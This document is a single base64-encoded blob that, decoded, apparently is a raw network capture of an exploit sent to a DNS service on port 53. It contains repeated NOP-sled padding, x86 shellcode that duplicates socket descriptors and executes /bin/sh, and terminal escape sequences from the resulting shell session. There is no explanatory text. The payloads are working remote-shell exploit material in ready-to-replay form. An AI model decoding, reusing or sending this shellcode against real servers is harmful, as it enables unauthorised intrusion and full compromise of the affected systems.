kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQMOGGNSIxCwDcBQAA
PAAAAAAA9K8EfADgo4o8AAgARQAAKM3XQAA6BlSLzf1nxM58Gi80awA1OtiZ
HpjsC5lQEH14ZtIAAAAAAAAAAJ+5Dvkugrgb5bnIvHtyhP/70gQHAAZNYtQz
D3twx8oaUWMPXljlm1DMPe3DPjNpSYe9uMoYg1ubaW8K/cCwBahthzsYZJPS
YuJpAwxzqhEjINYcgiCHkxJsKS4HgXoT86VfQnKGLiZcuKUux2fToahyFn6e
pumIoRosj1XHs5vXFgaok6QSihS16P8wEck2VNjkPNKqqPZibpUq2Q18qTrp
d1R9nE7O27d5xeemqW21ses33S0SnzjO/eudRrRINP/mtt5xrW7a/v/b4xTV
sW3FrjGLZ1j5tn+3lHGBUAgonmK7zDlaHCihV/UrIGP4Apbg6zxM7VtIVjag
oALQIpIkrla8MggxSxNotuw2JL8dmA37lzO0T4k0lShSTABpEMsZWcny8kIY
Mje5MT9Yr0SiKY6eSbuz8kuOkykLJSJKSsvJkmg5SOLE3oZlcGxaMuFEXVPp
1fjsRfjYPctuTJlUOIc209EZaJbZ3pOsri8tuj5XqXbvOLz61eRTN7bbNr0x
Fk1mnxu9c+fxJaX+KQdz/ETLtP2EhlgvSNwqbSbO+nKU4Gbdb9d7/qO5/6db
lL/c53H/IpAAAACBwFyylXVQqJedl4U4lSLBgSqp+gCYPsJsTYHqyF1GAWGo
Rw9VWj4YbwKoYghQagwj/DXU59l1KE42WaHCc0MLgOjX////L2Jpbi9zaACQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkDDhhjUiMQsA3AUAAJwAAAAA4KOKPAAAAPSv
BHwIAEUAAI5IJ0AAQAbT1c58Gi/N/WfEADU0a5jsC5k62JkeUBh/4DPCAACQ
kJCQkJCQkJCQkJCQkJCQkJCQMcCwPzHbswQxyc2AMcCwP7EBzYAxwLA/sQLN
gOskXo0eiV4LM9KJVgeJVg+4G1Y0EjUQVjQSjU4Li9HNgDPAQM2A6Nf///8v
YmluL3NoAMDy/7+lX0Jyhi4mXLilLsdn06GochZ+nqbpiKEaLI9Vx7Ob1xYG
qJOkEooUtej/MBHJNlTY5DzSqqj2Ym6VKtkNfKk66XdUfZxOztu3ecXnpqlt
tbHrN90tEp84zv3rnUa0SDT/5rbeca1u2v7/2+MU1bFtxa4xi2dY+bZ/t5Rx
gVAIKJ5iu8w5WhwooVf1KyBj+AKW4Os8TO1bSFY2oKAC0CKSJK5WvDIIMUsT
aLbsNiS/HZgN+5cztE+JNJUoUkwAaRDLGVnJ8vJCGDI3uTE/WK9EoimOnkm7
s/JLjpMpCyUiSkrLyZJoOUjixN6GZXBsWjLhRF1T6dX47EX42D3LbkyZVDiH
NtPRGWiW2d6TrK4vLbo+V6l27zi8+tXkUze22za9MRZNZp8bvXPn8SWl/ikH
c/xEy7T9hIZYL0jcKm0mzvpylOBm3W/Xe/6juf+nW5S/3Odx/yKQAAAAgcBc
spV1UKiXnZeFOJUiwYEqqfoAmD7CbE2B6shdRgFhqEcPVVo+GG8CqGIIUGoM
I/w11OfZdShONlmhwnNDC4Do1////y9iaW4vc2gAkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJAw4YY1krMOANwFAAA8AAAAAAD0rwR8AOCjijwACABFAAAozdlAADoG
VInN/WfEznwaLzRrADU62JkemOwL/1AQfXhmbAAAAAAAAAAA/wAACgIAAAAA
KM58AAHOfADOznwAz858AMvOfAD8znwAx858AMrOfAC10WjGJs58AMnOfACs
znwAq858AMzOfADNznwAzjb+L4j31bHrXVt53jNN7/xbOb++//9+BmtNefdP
umsYzTED5xSuf8f+IDxf2k3zultLETr2M97AAAI3AX3JVfLXIJtCTjVuL9jU
VXxNTEUMBwQ8EuFmD1J+DhiELWzAJ+WIN8whLBKhNAvgCwfRzhQTTPMmJMTL
mlV55F/OQfZsv1fFbD1hD8Mkvqeim7hm0oV5tabtkQuqdewNJJWItQLtOwiL
nXBsEqIQkILyE4R1VhxV8xkpJumYW7U1batNeNbcGeSa8WJrF3klLu7fF+/v
q2L6pq24O8Zp/9Yt81990zf2xSW27+FuB7U1/mmMetNXi/eMfcQDF+1qRs6Y
km6EQifYS7XsEAAAAAAA//vSBAMABkZn1GMYe3DJiypSZw9uGAmBUEw9jcMq
M6lJh7G4GPHWCaq87eEiZIowuY0NVM3FrCAhnJE19GXM3RwUHYgXbWyuxQ9u
Kzr11M5ZMSdhZ7dlC03mYuu3KIz+oxOWIdbxzY3F5TIZmLU8VfutnK5lvox2
IN2GxV2hObi4qCqw4KuOm52FKqEqVCS12csWd7t+oYjxtRSGP7+aM/pitnmo
lb2A6Nf///8vYmluL3NoAJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQUOGGNaL4CQDc
BQAAPAAAAAAA9K8EfADgo4o8AAgARQAAKM3hAAA6BpSBzf1nxM58Gi80awA1
OtiZHpjsC/9QEX14ZmsAAAAAAAAAANa2s6jYfic+XW5IIBsKCoXB1rZDvpU7
pt/9rgAAI42UAJrnNeae4bP2Zl4YDclxX3Z408AvLPMHbjNUrBtRZ9nPiS7v
edfrF3cmqqpGnVYXKn1SbiTdWDpItRVueJ4MI++tE16eiD+PAp09W4bbjAbq
wIXkvre+U5IFJBWC8wznBjlMwttFwpl6mlYSd3SI3v4LfEhPY21eyN7PPBjW
isO5s534WK71EhV+YLXDz6Uhx7Yl3vevCp971XFNb1rMO/pSmc6rrckmLW+f
Pd+Jz5dbkjQ2FGhc6RF6O+n+n/2uAIAAABgYHTkENML/+9IEBYAGOVlVIy97
cMxL6nBt724YYYdUB73twvKxKmG3vbijTzW4U6NNL4anlYBgEL8g4fJb3eDB
Z2FWI1EncdJ3ESSQwVSdbcfyeOggBA0JLrtnCpQskCweK6hIdOplcqjKq6Vi
TNKEnk8qjJeqZSrrBzIx0vEZEaLkkB7H5qMpFG5IgyjyVrdCes+1l1l+ok+R
hROCqq53ctVrWHTEfNnckk3lyzw47nGhbm8C1nms4u2v4GnLe8QIuv63pAzu
A4UeXvu2bx6VjwAOGnwwkKB5ihUCOe6p30bO3Vb6LZgy8cWEh0UYwErMY2+r
bNOjUO66jQMAYAbFzChnOxsRKXaEnIcBBUUYJpDVDkKEW20bW20bWzQ0bRtb
MzZtG1s0NG1dIBtbbQ8bW20bW20bWzQ0bRtbMzZtG1s0NG1bG1szN20bWzQ0
bU8bWzM2bRtbNDRtLxtbMW0bWzE7MzZtG1s0NG0bWzE7MzdtG1s0NG0xMiAb
W20PG1ttDxtbbRtbbRtbNDRtThtbMzZtG1s0NG0vG1sxbRtbMTszNm0bWzQ0
bRtbMTszN20bWzQ0bTkgG1ttDxtbbQ8bW20bW20bWzQ0bUkbWzM2bRtbNDRt
LxtbMW0bWzE7MzZtG1s0NG0bWzE7MzdtG1s0NG0wIBtbbQ8bW20PG1ttG1tt
G1s0NG1WG1szNm0bWzQ0bS8bWzFtG1sxOzM2bRtbNDRtG1sxOzM3bRtbNDRt
MCAbW20PG1ttDxtbbRtbbRtbNDRtRhtbMzZtG1s0NG0vG1sxbRtbMTszNm0b
WzQ0bRtbMTszN20bWzQ0bTAbW20PG1ttDxtbbRtbbRtbNDRtG1szNm0bWzQ0
bV0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBbVTphOlM6
YjpoXRtbbQ8bW20bW20bWzBtG1tLG1ttDxtbMjU7OUgbWzI1OzFIWyN0YWNk
XSAbW20PG1ttG1ttG1ttDxtbbRtbbRtbbQ8bW20bW20bW0sbWzI1OzlIG1tt
DxtbbZCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkFDhhjWi+AkA3AUAADYAAAAA4KOKPAAA
APSvBHwIAEUAAChKtUAAQAbRrc58Gi/N/WfEADU0a5jsC/862JkfUBB/32QE
AAAAAAAAAADWtrOo2H4nPl1uSCAbCgqFwda2Q76VO6bf/a4AACONlACa5zXm
nuGz9mZeGA3JcV92eNPALyzzB24zVKwbUWfZz4ku73nX6xd3JqqqRp1WFyp9
Um4k3Vg6SLUVbnieDCPvrRNenog/jwKdPVuG24wG6sCF5L63vlOSBSQVgvMM
5wY5TMLbRcKZeppWEnd0iN7+C3xIT2NtXsjezzwY1orDubOd+Fiu9RIVfmC1
w8+lIce2Jd73rwqfe9VxTW9azDv6UpnOq63JJi1vnz3fic+XW5I0NhRoXOkR
ejvp/p/9rgCAAAAYGB05BDTC//vSBAWABjlZVSMve3DMS+pwbe9uGGGHVAe9
7cLysSpht724o081uFOjTS+Gp5WAYBC/IOHyW93gwWdhViNRJ3HSdxEkkMFU
nW3H8njoIAQNCS67ZwqULJAsHiuoSHTqZXKoyqulYkzShJ5PKoyXqmUq6wcy
MdLxGRGi5JAex+ajKRRuSIMo8la3QnrPtZdZfqJPkYUTgqqud3LVa1h0xHzZ
3JJN5cs8OO5xoW5vAtZ5rOLtr+Bpy3vECLr+t6QM7gOFHl77tm8elY8ADhp8
MJCgeYoVAjnuqd9Gzt1W+i2YMvHFhIdFGMBKzGNvq2zTo1Duuo0DAGAGxcwo
ZzsbESl2hJyHAQVFGCaQ1Q5ChFttG1ttG1s0NG0bWzM2bRtbNDRtXSAbW20P
G1ttG1ttG1s0NG0bWzM2bRtbNDRtWxtbMzdtG1s0NG1PG1szNm0bWzQ0bS8b
WzFtG1sxOzM2bRtbNDRtG1sxOzM3bRtbNDRtMTIgG1ttDxtbbQ8bW20bW20b
WzQ0bU4bWzM2bRtbNDRtLxtbMW0bWzE7MzZtG1s0NG0bWzE7MzdtG1s0NG05
IBtbbQ8bW20PG1ttG1ttG1s0NG1JG1szNm0bWzQ0bS8bWzFtG1sxOzM2bRtb
NDRtG1sxOzM3bRtbNDRtMCAbW20PG1ttDxtbbRtbbRtbNDRtVhtbMzZtG1s0
NG0vG1sxbRtbMTszNm0bWzQ0bRtbMTszN20bWzQ0bTAgG1ttDxtbbQ8bW20b
W20bWzQ0bUYbWzM2bRtbNDRtLxtbMW0bWzE7MzZtG1s0NG0bWzE7MzdtG1s0
NG0wG1ttDxtbbQ8bW20bW20bWzQ0bRtbMzZtG1s0NG1dICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgW1U6YTpTOmI6aF0bW20PG1ttG1tt
G1swbRtbSxtbbQ8bWzI1OzlIG1syNTsxSFsjdGFjZF0gG1ttDxtbbRtbbRtb
bQ8bW20bW20bW20PG1ttG1ttG1tLG1syNTs5SBtbbQ8bW22QkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJBQ4YY1ovgJANwFAAA2AAAAAOCjijwAAAD0rwR8CABFAAAoSrYA
AEAGEa3OfBovzf1nxAA1NGuY7Av/OtiZH1ARf+BkAgAAAAAAAAAA1razqNh+
Jz5dbkggGwoKhcHWtkO+lTum3/2uAAAjjZQAmuc15p7hs/ZmXhgNyXFfdnjT
wC8s8wduM1SsG1Fn2c+JLu951+sXdyaqqkadVhcqfVJuJN1YOki1FW54ngwj
760TXp6IP48CnT1bhtuMBurAheS+t75TkgUkFYLzDOcGOUzC20XCmXqaVhJ3
dIje/gt8SE9jbV7I3s88GNaKw7mznfhYrvUSFX5gtcPPpSHHtiXe968Kn3vV
cU1vWsw7+lKZzqutySYtb58934nPl1uSNDYUaFzpEXo76f6f/a4AgAAAGBgd
OQQ0wv/70gQFgAY5WVUjL3twzEvqcG3vbhhhh1QHve3C8rEqYbe9uKNPNbhT
o00vhqeVgGAQvyDh8lvd4MFnYVYjUSdx0ncRJJDBVJ1tx/J46CAEDQkuu2cK
lCyQLB4rqEh06mVyqMqrpWJM0oSeTyqMl6plKusHMjHS8RkRouSQHsfmoykU
bkiDKPJWt0J6z7WXWX6iT5GFE4Kqrndy1WtYdMR82dySTeXLPDjucaFubwLW
eazi7a/gact7xAi6/rekDO4DhR5e+7ZvHpWPAA4afDCQoHmKFQI57qnfRs7d
VvotmDLxxYSHRRjASsxjb6ts06NQ7rqNAwBgBsXMKGc7GxEpdoSchwEFRRgm
kNUOQoRbbRtbbRtbNDRtG1szNm0bWzQ0bV0gG1ttDxtbbRtbbRtbNDRtG1sz
Nm0bWzQ0bVsbWzM3bRtbNDRtTxtbMzZtG1s0NG0vG1sxbRtbMTszNm0bWzQ0
bRtbMTszN20bWzQ0bTEyIBtbbQ8bW20PG1ttG1ttG1s0NG1OG1szNm0bWzQ0
bS8bWzFtG1sxOzM2bRtbNDRtG1sxOzM3bRtbNDRtOSAbW20PG1ttDxtbbRtb
bRtbNDRtSRtbMzZtG1s0NG0vG1sxbRtbMTszNm0bWzQ0bRtbMTszN20bWzQ0
bTAgG1ttDxtbbQ8bW20bW20bWzQ0bVYbWzM2bRtbNDRtLxtbMW0bWzE7MzZt
G1s0NG0bWzE7MzdtG1s0NG0wIBtbbQ8bW20PG1ttG1ttG1s0NG1GG1szNm0b
WzQ0bS8bWzFtG1sxOzM2bRtbNDRtG1sxOzM3bRtbNDRtMBtbbQ8bW20PG1tt
G1ttG1s0NG0bWzM2bRtbNDRtXSAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgIFtVOmE6UzpiOmhdG1ttDxtbbRtbbRtbMG0bW0sbW20PG1sy
NTs5SBtbMjU7MUhbI3RhY2RdIBtbbQ8bW20bW20bW20PG1ttG1ttG1ttDxtb
bRtbbRtbSxtbMjU7OUgbW20PG1ttkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQUOGGNdLe
DADcBQAAPAAAAAAA9K8EfADgo4o8AAgARQAAKM3kQAA6BlR+zf1nxM58Gi80
awA1OtiZH5jsDABQEH14ZmoAAAAAAAAAAP8AAAoCCgAAACjOfAABznwAzs58
AM/OfAD7znwAzM58ALXOfADHznwArM58APzOfADNznwAyc58AKvOfADKznwA
y858AM4qzlnmeCeI66elfaZtVe1guO4/atwn1K3w/gwJ3KFO4/c+nlvq7bfe
o2N7pFm/g31ibfmpS8HFPePTcfPpjFPmnkwkuOZJrDD9TvmP2pqt10WhlDkG
0GQ4KLaRPY0TMP1kYgHlHl4MEepscCQC1HO2I5Ll8F8hxihaWUl4tZ6oajjv
cyZGRDMs/QOSHJiQxjhfNRyObChqkYohEkPOmVsuy0VjLdfckYTaLOkScAUy
CuSBN9EZYVPFSSFxWFlg4jvoVn66ViWKxkPhlj5xmNTFr2tWOsvpolY0KNFr
rLepaZlrtcRI2vefWawKbpeHvVaTQsQ3D63qPjN/um25q1TG739N7+rZ1ABS
JRU4akX00u0/X/3gQAAAIjHTtSRQpzKKGncjLtNdbBDMogBNE10AYZJnyoJQ
Ux38uRjm4YyeMUGC2mWSdfRK2h7skRJHaHkxDrXTc1IN0xKRift5ypA/p1Cf
eELk1Dq8WFe2pFhON65J4Q1XptHspxvmSra4os8nFWQ7OXgxNt69AI+Kn3j2
v356WvmH6xlimJsbttgvNHus/U3iMES3rBrFzulPClz5P8bmW20bW20bWzQ0
bRtbMzZtG1s0NG1dIBtbbQ8bW20bW20bWzQ0bRtbMzZtG1s0NG1bG1szN20b
WzQ0bU8bWzM2bRtbNDRtLxtbMW0bWzE7MzZtG1s0NG0bWzE7MzdtG1s0NG0x
MiAbW20PG1ttDxtbbRtbbRtbNDRtThtbMzZtG1s0NG0vG1sxbRtbMTszNm0b
WzQ0bRtbMTszN20bWzQ0bTkgG1ttDxtbbQ8bW20bW20bWzQ0bUkbWzM2bRtb
NDRtLxtbMW0bWzE7MzZtG1s0NG0bWzE7MzdtG1s0NG0wIBtbbQ8bW20PG1tt
G1ttG1s0NG1WG1szNm0bWzQ0bS8bWzFtG1sxOzM2bRtbNDRtG1sxOzM3bRtb
NDRtMCAbW20PG1ttDxtbbRtbbRtbNDRtRhtbMzZtG1s0NG0vG1sxbRtbMTsz
Nm0bWzQ0bRtbMTszN20bWzQ0bTAbW20PG1ttDxtbbRtbbRtbNDRtG1szNm0b
WzQ0bV0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBbVTph
OlM6YjpoXRtbbQ8bW20bW20bWzBtG1tLG1ttDxtbMjU7OUgbWzI1OzFIWyN0
YWNkXSAbW20PG1ttG1ttG1ttDxtbbRtbbRtbbQ8bW20bW20bW0sbWzI1OzlI
G1ttDxtbbZCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
